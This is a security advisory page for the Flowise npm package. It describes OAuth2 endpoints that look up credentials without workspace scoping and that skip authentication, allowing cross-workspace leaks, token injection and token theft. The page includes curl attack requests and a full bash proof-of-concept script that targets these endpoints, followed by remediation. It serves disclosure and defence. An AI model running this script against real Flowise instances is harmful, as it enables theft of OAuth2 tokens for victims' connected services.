PT-2026-67934 · Npm · Flowise

Publicado

2026-08-04

·

Atualizado

2026-08-04

CVSS v4.0

7.6

Alta

VetorAV:N/AC:L/AT:P/PR:L/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N

Summary

Three OAuth2 credential endpoints look up credentials by id alone with no workspaceId filter. Two of these endpoints (callback, refresh) are whitelisted from all authentication. This allows:
  1. Cross-workspace credential access — Any authenticated user can initiate OAuth2 flows against credentials belonging to other workspaces.
  2. Unauthenticated token injection — An unauthenticated attacker can forge OAuth2 callbacks to overwrite tokens in any credential.
  3. Unauthenticated token refresh — An unauthenticated attacker can refresh tokens for any credential.

Root Cause

Vulnerable code: no workspace scoping

All three OAuth2 handlers query the Credential table by id only:
packages/server/src/routes/oauth2/index.ts:80-82 (authorize)
typescript
const credential = await credentialRepository.findOneBy({
  id: credentialId
  // Missing: workspaceId filter
})
packages/server/src/routes/oauth2/index.ts:183-185 (callback)
typescript
const credential = await credentialRepository.findOneBy({
  id: state as string
  // Missing: workspaceId filter
})
packages/server/src/routes/oauth2/index.ts:314-316 (refresh)
typescript
const credential = await credentialRepository.findOneBy({
  id: credentialId
  // Missing: workspaceId filter
})

Correct pattern (same codebase)

The standard credential service correctly enforces workspace isolation:
packages/server/src/services/credentials/index.ts:130-132
typescript
const credential = await appServer.AppDataSource.getRepository(Credential).findOneBy({
  id: credentialId,
  workspaceId: workspaceId // <-- Workspace scoping present
})

Authentication bypass via whitelist

packages/server/src/utils/constants.ts:40-41
typescript
export const WHITELIST URLS = [
  // ...
  '/api/v1/oauth2-credential/callback',  // line 40
  '/api/v1/oauth2-credential/refresh',   // line 41
  // ...
]
packages/server/src/index.ts:223-225 — prefix-matched whitelist skips all auth:
typescript
const isWhitelisted = whitelistURLs.some((url) => req.path.startsWith(url))
if (isWhitelisted) {
  next() // No JWT verification, no API key check
}

Attack Scenarios

Scenario A: Cross-Workspace Credential Metadata Leak

An authenticated user in Workspace A initiates an OAuth2 authorize flow for a credential belonging to Workspace B. The server returns an authorization URL containing the victim credential's client id, scope, and redirect uri.
POST /api/v1/oauth2-credential/authorize/<VICTIM CREDENTIAL UUID>
Cookie: connect.sid=<ATTACKER SESSION>
Response:
json
{
 "success": true,
 "credentialId": "<VICTIM CREDENTIAL UUID>",
 "authorizationUrl": "https://provider.com/oauth2/authorize?client id=LEAKED CLIENT ID&scope=LEAKED SCOPE&...",
 "redirectUri": "https://flowise-instance/api/v1/oauth2-credential/callback"
}

Scenario B: Unauthenticated Token Injection via Forged Callback

The callback endpoint requires no authentication and uses the state parameter as the credential lookup key. An attacker who controls an OAuth2 provider (or MitMs the flow) can inject arbitrary tokens into any credential.
GET /api/v1/oauth2-credential/callback?code=ATTACKER AUTH CODE&state=<VICTIM CREDENTIAL UUID>
(No authentication required)
The server exchanges the code at the credential's accessTokenUrl, and whatever tokens the provider returns are encrypted and stored into the victim's credential record (line 271):
typescript
await credentialRepository.update(credential.id, {
  encryptedData,   // Contains attacker-controlled token data
  updatedDate: new Date()
})

Scenario C: Unauthenticated Token Refresh

An attacker can refresh any credential's OAuth2 tokens without authentication. The server reads the stored refresh token, exchanges it at the accessTokenUrl, and returns fresh token metadata.
POST /api/v1/oauth2-credential/refresh/<VICTIM CREDENTIAL UUID>
(No authentication required)
Response:
json
{
 "success": true,
 "credentialId": "<VICTIM CREDENTIAL UUID>",
 "tokenInfo": {
  "access token": "new-access-token-value",
  "token type": "Bearer",
  "expires in": 3600,
  "has new refresh token": false,
  "expires at": "2026-04-13T12:00:00.000Z"
 }
}
The fresh access token is returned directly in the response body (line 393-401), giving the attacker a valid OAuth2 token for whatever service the victim credential is connected to.

Proof of Concept

Prerequisites

  • A running Flowise instance with at least two workspaces (Workspace A and Workspace B)
  • An OAuth2 credential configured in Workspace B (the victim)
  • The credential UUID of the victim credential (obtainable by any member of Workspace B, or via IDOR — see Finding 4)

Step 1 — Confirm unauthenticated refresh endpoint is reachable

bash
# No cookies, no Bearer token — completely unauthenticated
FLOWISE URL="https://TARGET INSTANCE"
VICTIM CRED ID="xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx"

curl -s -X POST "${FLOWISE URL}/api/v1/oauth2-credential/refresh/${VICTIM CRED ID}" 
 -H "Content-Type: application/json"
Expected result if credential exists and has a refresh token:
json
{
 "success": true,
 "message": "OAuth2 token refreshed successfully",
 "credentialId": "xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx",
 "tokenInfo": {
  "access token": "<VALID ACCESS TOKEN>",
  "token type": "Bearer",
  "expires in": 3600,
  "has new refresh token": false,
  "expires at": "2026-04-13T..."
 }
}
Expected result if credential not found:
json
{
 "success": false,
 "message": "Credential not found"
}

Step 2 — Cross-workspace authorize (requires any valid session)

bash
# Attacker is authenticated in Workspace A
# They target a credential UUID from Workspace B
ATTACKER COOKIE="connect.sid=s%3A..."

curl -s -X POST "${FLOWISE URL}/api/v1/oauth2-credential/authorize/${VICTIM CRED ID}" 
 -H "Cookie: ${ATTACKER COOKIE}" 
 -H "Content-Type: application/json"
Expected result — victim credential's OAuth2 config is leaked:
json
{
 "success": true,
 "credentialId": "xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx",
 "authorizationUrl": "https://login.microsoftonline.com/.../authorize?client id=VICTIM CLIENT ID&scope=VICTIM SCOPES&...",
 "redirectUri": "https://TARGET INSTANCE/api/v1/oauth2-credential/callback"
}

Step 3 — Forge callback to inject attacker-controlled tokens

bash
# Attacker sets up a rogue OAuth2 provider that returns crafted tokens,
# OR intercepts a legitimate flow.
# The state parameter is the victim credential UUID.

curl -s "${FLOWISE URL}/api/v1/oauth2-credential/callback?code=ATTACKER CODE&state=${VICTIM CRED ID}"
The server POSTs the code to the credential's accessTokenUrl. If the attacker controls the OAuth2 provider (or has a valid code), the returned tokens are written into the victim's credential.

Full automated PoC script

bash
#!/usr/bin/env bash
set -euo pipefail

# ---- Configuration ----
FLOWISE URL="${1:?Usage: $0 <flowise url> <victim credential uuid> [attacker cookie]}"
VICTIM CRED ID="${2:?Usage: $0 <flowise url> <victim credential uuid> [attacker cookie]}"
ATTACKER COOKIE="${3:-}"

echo "=== OAuth2 Cross-Workspace Credential Hijacking PoC ==="
echo "Target:   ${FLOWISE URL}"
echo "Credential: ${VICTIM CRED ID}"
echo ""

# --- Attack Vector 1: Unauthenticated token refresh ---
echo "[1] Attempting unauthenticated token refresh..."
REFRESH RESP=$(curl -s -w "
%{http code}" -X POST 
 "${FLOWISE URL}/api/v1/oauth2-credential/refresh/${VICTIM CRED ID}" 
 -H "Content-Type: application/json")

HTTP CODE=$(echo "${REFRESH RESP}" | tail -1)
BODY=$(echo "${REFRESH RESP}" | head -n -1)

if [ "${HTTP CODE}" = "200" ]; then
 echo "[!] VULNERABLE — Unauthenticated token refresh succeeded"
 echo "  Response: ${BODY}" | head -c 500
 echo ""
elif echo "${BODY}" | grep -q "Credential not found"; then
 echo "[*] Credential not found (UUID may be invalid)"
elif echo "${BODY}" | grep -q "Missing required"; then
 echo "[*] Credential exists but has no refresh token (no prior OAuth2 flow)"
 echo "  This still confirms the endpoint is reachable without auth"
else
 echo "[*] HTTP ${HTTP CODE}: ${BODY}" | head -c 300
fi
echo ""

# --- Attack Vector 2: Cross-workspace authorize (needs session) ---
if [ -n "${ATTACKER COOKIE}" ]; then
 echo "[2] Attempting cross-workspace authorize..."
 AUTH RESP=$(curl -s -w "
%{http code}" -X POST 
  "${FLOWISE URL}/api/v1/oauth2-credential/authorize/${VICTIM CRED ID}" 
  -H "Cookie: ${ATTACKER COOKIE}" 
  -H "Content-Type: application/json")

 HTTP CODE=$(echo "${AUTH RESP}" | tail -1)
 BODY=$(echo "${AUTH RESP}" | head -n -1)

 if [ "${HTTP CODE}" = "200" ]; then
  echo "[!] VULNERABLE — Cross-workspace credential access confirmed"
  echo "  Leaked authorization URL:"
  echo "${BODY}" | python3 -m json.tool 2>/dev/null || echo "  ${BODY}" | head -c 500
 else
  echo "[*] HTTP ${HTTP CODE}: ${BODY}" | head -c 300
 fi
else
 echo "[2] Skipped cross-workspace authorize (no attacker cookie provided)"
fi
echo ""

# --- Attack Vector 3: Confirm callback is unauthenticated ---
echo "[3] Confirming callback endpoint is unauthenticated..."
CALLBACK RESP=$(curl -s -w "
%{http code}" 
 "${FLOWISE URL}/api/v1/oauth2-credential/callback?code=poc test code&state=${VICTIM CRED ID}")

HTTP CODE=$(echo "${CALLBACK RESP}" | tail -1)

# Any response other than 401/403 confirms the endpoint is reachable without auth.
# A 400 with "token exchange failed" means the endpoint processed the request
# (tried to exchange the code) — it just failed at the external provider.
if [ "${HTTP CODE}" = "401" ] || [ "${HTTP CODE}" = "403" ]; then
 echo "[*] Callback endpoint returned ${HTTP CODE} — auth is enforced (NOT vulnerable)"
else
 echo "[!] VULNERABLE — Callback endpoint reachable without auth (HTTP ${HTTP CODE})"
 echo "  The server attempted to process the OAuth2 callback."
 echo "  With a valid authorization code, tokens would be written to the credential."
fi

echo ""
echo "=== PoC Complete ==="

Impact

VectorAuth RequiredImpact
Credential metadata leak via /authorizeLow (any session)Exposes client id, scope, redirect uri from any workspace's credential
Token injection via /callbackNoneOverwrite any credential's stored OAuth2 tokens with attacker-controlled values
Token theft via /refreshNoneObtain a fresh access token for any credential's connected service (Microsoft 365, Google, etc.)
Chained impact: An attacker who obtains a single credential UUID (via IDOR, log exposure, or brute-force of UUIDs) can silently refresh and steal OAuth2 access tokens for external services like Microsoft Graph, Google Workspace, or any custom OAuth2 provider — without any authentication to the Flowise instance.

Affected Components

FileLinesIssue
packages/server/src/routes/oauth2/index.ts80-82findOneBy({ id }) — no workspaceId
packages/server/src/routes/oauth2/index.ts183-185findOneBy({ id: state }) — no workspaceId
packages/server/src/routes/oauth2/index.ts314-316findOneBy({ id }) — no workspaceId
packages/server/src/utils/constants.ts40/callback whitelisted from auth
packages/server/src/utils/constants.ts41/refresh whitelisted from auth

Remediation

  1. Add workspaceId to all credential lookups in the OAuth2 routes, matching the pattern already used in services/credentials/index.ts:130-132:
typescript
// Before (vulnerable)
const credential = await credentialRepository.findOneBy({ id: credentialId })

// After (fixed)
const credential = await credentialRepository.findOneBy({
  id: credentialId,
  workspaceId: req.user?.activeWorkspaceId
})
  1. Remove /callback and /refresh from WHITELIST URLS or implement a signed, time-limited state token that authenticates the callback without a session.
  2. Replace the state parameter with a cryptographically random nonce bound to the user's session (see also Finding 8).
  3. Do not return access token in the /refresh response body. The token should only be stored server-side in the encrypted credential data, never sent to the caller.

Correção

Incorrect Authorization

Encontrou algum problema na descrição? Tem algo a acrescentar? Fique à vontade para nos escrever 👾

Enumeração de Fraquezas

Identificadores relacionados

GHSA-WCH5-XP77-FXG4

Produtos afetados

Flowise